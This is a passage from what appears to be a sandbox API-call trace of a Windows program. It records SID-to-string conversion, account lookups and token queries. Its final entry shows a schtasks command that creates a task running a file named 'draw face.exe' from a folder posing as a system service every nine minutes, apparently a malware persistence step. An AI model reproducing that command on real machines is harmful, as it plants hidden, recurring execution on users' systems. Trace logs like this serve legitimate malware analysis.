0x1c [0119.313] malloc (_Size=0x1c) returned 0x196ef0f9dc0 [0119.313] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9dc0, pSourceSid=0x196ef0d1560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0119.313] GetSidIdentifierAuthority (pSid=0x196ef0d1560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1562 [0119.313] malloc (_Size=0x18) returned 0x196ef0d1a20 [0119.313] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0119.313] malloc (_Size=0x18) returned 0x196ef0d1f40 [0119.313] malloc (_Size=0x18) returned 0x196ef0d1d40 [0119.313] SysStringLen (param_1="S-1-") returned 0x4 [0119.313] SysStringLen (param_1="5") returned 0x1 [0119.313] memcpy (in: _Dst=0x196ee7aa688, _Src=0x196ee7aaa48, _Size=0xa | out: _Dst=0x196ee7aa688) returned 0x196ee7aa688 [0119.313] memcpy (in: _Dst=0x196ee7aa690, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7aa690) returned 0x196ee7aa690 [0119.313] free (_Block=0x196ef0d1a20) [0119.314] free (_Block=0x196ef0d1f40) [0119.314] GetSidSubAuthorityCount (pSid=0x196ef0d1560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1561 [0119.314] GetSidSubAuthority (pSid=0x196ef0d1560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d1568 [0119.314] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0119.314] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0119.314] malloc (_Size=0x18) returned 0x196ef0d20e0 [0119.314] SysStringLen (param_1="S-1-5") returned 0x5 [0119.314] SysStringLen (param_1="-") returned 0x1 [0119.314] memcpy (in: _Dst=0x196ee7aa988, _Src=0x196ee7aa688, _Size=0xc | out: _Dst=0x196ee7aa988) returned 0x196ee7aa988 [0119.314] memcpy (in: _Dst=0x196ee7aa992, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7aa992) returned 0x196ee7aa992 [0119.314] free (_Block=0x196ef0d1d40) [0119.314] free (_Block=0x196ef0d1ee0) [0119.314] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0119.314] malloc (_Size=0x18) returned 0x196ef0d1b00 [0119.314] SysStringLen (param_1="S-1-5-") returned 0x6 [0119.314] SysStringLen (param_1="21") returned 0x2 [0119.314] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7aa988, _Size=0xe | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0119.314] memcpy (in: _Dst=0x196ee7aaa54, _Src=0x196ee7aa688, _Size=0x6 | out: _Dst=0x196ee7aaa54) returned 0x196ee7aaa54 [0119.314] free (_Block=0x196ef0d20e0) [0119.314] free (_Block=0x196ef0d1aa0) [0119.314] GetSidSubAuthority (pSid=0x196ef0d1560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d156c [0119.315] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0119.315] malloc (_Size=0x18) returned 0x196ef0d1f40 [0119.315] malloc (_Size=0x18) returned 0x196ef0d1a40 [0119.315] SysStringLen (param_1="S-1-5-21") returned 0x8 [0119.315] SysStringLen (param_1="-") returned 0x1 [0119.315] memcpy (in: _Dst=0x196ee7aa688, _Src=0x196ee7aaa48, _Size=0x12 | out: _Dst=0x196ee7aa688) returned 0x196ee7aa688 [0119.315] memcpy (in: _Dst=0x196ee7aa698, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7aa698) returned 0x196ee7aa698 [0119.315] free (_Block=0x196ef0d1b00) [0119.315] free (_Block=0x196ef0d1f40) [0119.315] malloc (_Size=0x18) returned 0x196ef0d2040 [0119.315] malloc (_Size=0x18) returned 0x196ef0d2080 [0119.315] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0119.315] SysStringLen (param_1="1560258661") returned 0xa [0119.315] memcpy (in: _Dst=0x196ee7775c8, _Src=0x196ee7aa688, _Size=0x14 | out: _Dst=0x196ee7775c8) returned 0x196ee7775c8 [0119.315] memcpy (in: _Dst=0x196ee7775da, _Src=0x196ee7aaa48, _Size=0x16 | out: _Dst=0x196ee7775da) returned 0x196ee7775da [0119.315] free (_Block=0x196ef0d1a40) [0119.315] free (_Block=0x196ef0d2040) [0119.315] GetSidSubAuthority (pSid=0x196ef0d1560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d1570 [0119.315] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0119.315] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0119.315] malloc (_Size=0x18) returned 0x196ef0d1b40 [0119.315] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0119.316] SysStringLen (param_1="-") returned 0x1 [0119.316] memcpy (in: _Dst=0x196ee7778e8, _Src=0x196ee7775c8, _Size=0x28 | out: _Dst=0x196ee7778e8) returned 0x196ee7778e8 [0119.316] memcpy (in: _Dst=0x196ee77790e, _Src=0x196ee7aa688, _Size=0x4 | out: _Dst=0x196ee77790e) returned 0x196ee77790e [0119.316] free (_Block=0x196ef0d2080) [0119.316] free (_Block=0x196ef0d1ec0) [0119.316] malloc (_Size=0x18) returned 0x196ef0d1e20 [0119.316] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0119.316] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0119.316] SysStringLen (param_1="3990802383") returned 0xa [0119.316] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7778e8, _Size=0x2a | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0119.316] memcpy (in: _Dst=0x196ee7bbb80, _Src=0x196ee7aa688, _Size=0x16 | out: _Dst=0x196ee7bbb80) returned 0x196ee7bbb80 [0119.316] free (_Block=0x196ef0d1b40) [0119.316] free (_Block=0x196ef0d1e20) [0119.316] GetSidSubAuthority (pSid=0x196ef0d1560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d1574 [0119.316] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0119.316] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0119.316] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0119.316] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0119.316] SysStringLen (param_1="-") returned 0x1 [0119.316] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x3e | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0119.316] memcpy (in: _Dst=0x196ee7ba874, _Src=0x196ee7aa688, _Size=0x4 | out: _Dst=0x196ee7ba874) returned 0x196ee7ba874 [0119.317] free (_Block=0x196ef0d1ca0) [0119.317] free (_Block=0x196ef0d1ba0) [0119.317] malloc (_Size=0x18) returned 0x196ef0d2000 [0119.317] malloc (_Size=0x18) returned 0x196ef0d1f60 [0119.317] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0119.317] SysStringLen (param_1="1811730007") returned 0xa [0119.317] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x40 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0119.317] memcpy (in: _Dst=0x196ee7bbb96, _Src=0x196ee7aa688, _Size=0x16 | out: _Dst=0x196ee7bbb96) returned 0x196ee7bbb96 [0119.317] free (_Block=0x196ef0d1ce0) [0119.317] free (_Block=0x196ef0d2000) [0119.317] GetSidSubAuthority (pSid=0x196ef0d1560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d1578 [0119.317] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0119.317] malloc (_Size=0x18) returned 0x196ef0d1980 [0119.317] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0119.317] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0119.317] SysStringLen (param_1="-") returned 0x1 [0119.317] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x54 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0119.317] memcpy (in: _Dst=0x196ee7ba88a, _Src=0x196ee7aa688, _Size=0x4 | out: _Dst=0x196ee7ba88a) returned 0x196ee7ba88a [0119.317] free (_Block=0x196ef0d1f60) [0119.317] free (_Block=0x196ef0d1980) [0119.317] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0119.318] malloc (_Size=0x18) returned 0x196ef0d1c00 [0119.318] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0119.318] SysStringLen (param_1="1000") returned 0x4 [0119.318] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x56 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0119.318] memcpy (in: _Dst=0x196ee7bbbac, _Src=0x196ee7aa688, _Size=0xa | out: _Dst=0x196ee7bbbac) returned 0x196ee7bbbac [0119.318] free (_Block=0x196ef0d1ac0) [0119.318] free (_Block=0x196ef0d1ea0) [0119.318] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0119.318] malloc (_Size=0x5e) returned 0x196ef0d0610 [0119.318] free (_Block=0x196ef0d1c00) [0119.318] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0119.319] free (_Block=0x196ef0d0610) [0119.319] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0119.320] GetLastError () returned 0x7a [0119.320] malloc (_Size=0x1a) returned 0x196ef0f9b20 [0119.320] malloc (_Size=0xe) returned 0x196ef0d1c00 [0119.320] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9b20, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1c00, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0119.321] malloc (_Size=0x18) returned 0x196ef0d1f40 [0119.321] malloc (_Size=0x18) returned 0x196ef0d1e80 [0119.321] free (_Block=0x196ef0f9b20) [0119.321] free (_Block=0x196ef0d1c00) [0119.322] free (_Block=0x196ef0f9dc0) [0119.322] free (_Block=0x196ef0d1e80) [0119.322] free (_Block=0x196ef0d1f40) [0119.322] free (_Block=0x196ef0d1ee0) [0119.322] free (_Block=0x196ef0d1550) [0119.322] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0119.322] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0119.322] GetLastError () returned 0x7a [0119.322] malloc (_Size=0x2c) returned 0x196ef0d0f50 [0119.322] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d0f50, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0f50, ReturnLength=0x67117c740) returned 1 [0119.322] IsValidSid (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0119.323] GetLengthSid (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0119.323] malloc (_Size=0x1c) returned 0x196ef0f9fd0 [0119.323] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9fd0, pSourceSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9fd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0119.323] GetSidIdentifierAuthority (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0f62 [0119.323] malloc (_Size=0x18) returned 0x196ef0d1f40 [0119.323] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0119.323] malloc (_Size=0x18) returned 0x196ef0d20e0 [0119.323] malloc (_Size=0x18) returned 0x196ef0d1a40 [0119.323] SysStringLen (param_1="S-1-") returned 0x4 [0119.323] SysStringLen (param_1="5") returned 0x1 [0119.323] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7aa688, _Size=0xa | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0119.323] memcpy (in: _Dst=0x196ee7aaa50, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7aaa50) returned 0x196ee7aaa50 [0119.323] free (_Block=0x196ef0d1f40) [0119.323] free (_Block=0x196ef0d20e0) [0119.323] GetSidSubAuthorityCount (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0f61 [0119.323] GetSidSubAuthority (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0f68 [0119.323] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0119.323] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0119.323] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0119.323] SysStringLen (param_1="S-1-5") returned 0x5 [0119.323] SysStringLen (param_1="-") returned 0x1 [0119.323] memcpy (in: _Dst=0x196ee7aa988, _Src=0x196ee7aaa48, _Size=0xc | out: _Dst=0x196ee7aa988) returned 0x196ee7aa988 [0119.324] memcpy (in: _Dst=0x196ee7aa992, _Src=0x196ee7aa688, _Size=0x4 | out: _Dst=0x196ee7aa992) returned 0x196ee7aa992 [0119.324] free (_Block=0x196ef0d1a40) [0119.324] free (_Block=0x196ef0d1ee0) [0119.324] malloc (_Size=0x18) returned 0x196ef0d1960 [0119.324] malloc (_Size=0x18) returned 0x196ef0d1a60 [0119.324] SysStringLen (param_1="S-1-5-") returned 0x6 [0119.324] SysStringLen (param_1="21") returned 0x2 [0119.324] memcpy (in: _Dst=0x196ee7aa688, _Src=0x196ee7aa988, _Size=0xe | out: _Dst=0x196ee7aa688) returned 0x196ee7aa688 [0119.324] memcpy (in: _Dst=0x196ee7aa694, _Src=0x196ee7aaa48, _Size=0x6 | out: _Dst=0x196ee7aa694) returned 0x196ee7aa694 [0119.324] free (_Block=0x196ef0d1aa0) [0119.324] free (_Block=0x196ef0d1960) [0119.324] GetSidSubAuthority (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0f6c [0119.324] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0119.324] malloc (_Size=0x18) returned 0x196ef0d20c0 [0119.324] malloc (_Size=0x18) returned 0x196ef0d1e80 [0119.324] SysStringLen (param_1="S-1-5-21") returned 0x8 [0119.324] SysStringLen (param_1="-") returned 0x1 [0119.325] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7aa688, _Size=0x12 | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0119.325] memcpy (in: _Dst=0x196ee7aaa58, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7aaa58) returned 0x196ee7aaa58 [0119.325] free (_Block=0x196ef0d1a60) [0119.325] free (_Block=0x196ef0d20c0) [0119.325] malloc (_Size=0x18) returned 0x196ef0d1f00 [0119.325] malloc (_Size=0x18) returned 0x196ef0d1f40 [0119.325] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0119.325] SysStringLen (param_1="1560258661") returned 0xa [0119.325] memcpy (in: _Dst=0x196ee7775c8, _Src=0x196ee7aaa48, _Size=0x14 | out: _Dst=0x196ee7775c8) returned 0x196ee7775c8 [0119.325] memcpy (in: _Dst=0x196ee7775da, _Src=0x196ee7aa688, _Size=0x16 | out: _Dst=0x196ee7775da) returned 0x196ee7775da [0119.325] free (_Block=0x196ef0d1e80) [0119.325] free (_Block=0x196ef0d1f00) [0119.325] GetSidSubAuthority (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0f70 [0119.325] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0119.325] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0119.325] malloc (_Size=0x18) returned 0x196ef0d2000 [0119.325] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0119.325] SysStringLen (param_1="-") returned 0x1 [0119.325] memcpy (in: _Dst=0x196ee7778e8, _Src=0x196ee7775c8, _Size=0x28 | out: _Dst=0x196ee7778e8) returned 0x196ee7778e8 [0119.325] memcpy (in: _Dst=0x196ee77790e, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee77790e) returned 0x196ee77790e [0119.326] free (_Block=0x196ef0d1f40) [0119.326] free (_Block=0x196ef0d1fa0) [0119.326] malloc (_Size=0x18) returned 0x196ef0d1da0 [0119.326] malloc (_Size=0x18) returned 0x196ef0d1b40 [0119.326] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0119.326] SysStringLen (param_1="3990802383") returned 0xa [0119.326] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7778e8, _Size=0x2a | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0119.326] memcpy (in: _Dst=0x196ee7ba860, _Src=0x196ee7aaa48, _Size=0x16 | out: _Dst=0x196ee7ba860) returned 0x196ee7ba860 [0119.326] free (_Block=0x196ef0d2000) [0119.326] free (_Block=0x196ef0d1da0) [0119.326] GetSidSubAuthority (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0f74 [0119.326] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0119.326] malloc (_Size=0x18) returned 0x196ef0d2080 [0119.326] malloc (_Size=0x18) returned 0x196ef0d1a20 [0119.326] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0119.326] SysStringLen (param_1="-") returned 0x1 [0119.326] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x3e | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0119.326] memcpy (in: _Dst=0x196ee7bbb94, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7bbb94) returned 0x196ee7bbb94 [0119.326] free (_Block=0x196ef0d1b40) [0119.326] free (_Block=0x196ef0d2080) [0119.326] malloc (_Size=0x18) returned 0x196ef0d1e60 [0119.326] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0119.327] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0119.327] SysStringLen (param_1="1811730007") returned 0xa [0119.327] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x40 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0119.327] memcpy (in: _Dst=0x196ee7ba876, _Src=0x196ee7aaa48, _Size=0x16 | out: _Dst=0x196ee7ba876) returned 0x196ee7ba876 [0119.327] free (_Block=0x196ef0d1a20) [0119.327] free (_Block=0x196ef0d1e60) [0119.327] GetSidSubAuthority (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0f78 [0119.327] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0119.327] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0119.327] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0119.327] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0119.327] SysStringLen (param_1="-") returned 0x1 [0119.327] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x54 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0119.327] memcpy (in: _Dst=0x196ee7bbbaa, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7bbbaa) returned 0x196ee7bbbaa [0119.327] free (_Block=0x196ef0d1fc0) [0119.327] free (_Block=0x196ef0d1cc0) [0119.327] malloc (_Size=0x18) returned 0x196ef0d1a80 [0119.327] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0119.327] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0119.327] SysStringLen (param_1="1000") returned 0x4 [0119.327] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x56 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0119.327] memcpy (in: _Dst=0x196ee7ba88c, _Src=0x196ee7aaa48, _Size=0xa | out: _Dst=0x196ee7ba88c) returned 0x196ee7ba88c [0119.328] free (_Block=0x196ef0d1ce0) [0119.328] free (_Block=0x196ef0d1a80) [0119.328] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0119.328] malloc (_Size=0x5e) returned 0x196ef0d0370 [0119.328] free (_Block=0x196ef0d1ba0) [0119.328] malloc (_Size=0x18) returned 0x196ef0d2080 [0119.328] free (_Block=0x196ef0d0370) [0119.328] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0119.329] GetLastError () returned 0x7a [0119.329] malloc (_Size=0x1a) returned 0x196ef0f9cd0 [0119.329] malloc (_Size=0xe) returned 0x196ef0d1a80 [0119.329] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9cd0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1a80, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0119.330] malloc (_Size=0x18) returned 0x196ef0d20e0 [0119.330] malloc (_Size=0x18) returned 0x196ef0d1a60 [0119.331] free (_Block=0x196ef0f9cd0) [0119.331] free (_Block=0x196ef0d1a80) [0119.331] free (_Block=0x196ef0f9fd0) [0119.331] free (_Block=0x196ef0d1a60) [0119.331] free (_Block=0x196ef0d20e0) [0119.331] free (_Block=0x196ef0d2080) [0119.331] free (_Block=0x196ef0d0f50) [0119.332] SetEvent (hEvent=0x248) returned 1 [0119.332] free (_Block=0x196ef0d6310) [0119.332] CreateEnvironmentBlock () returned 0x1 [0119.337] malloc (_Size=0x18) returned 0x196ef0d1b00 [0119.337] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"draw faced\" /sc MINUTE /mo 9 /tr \"'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, 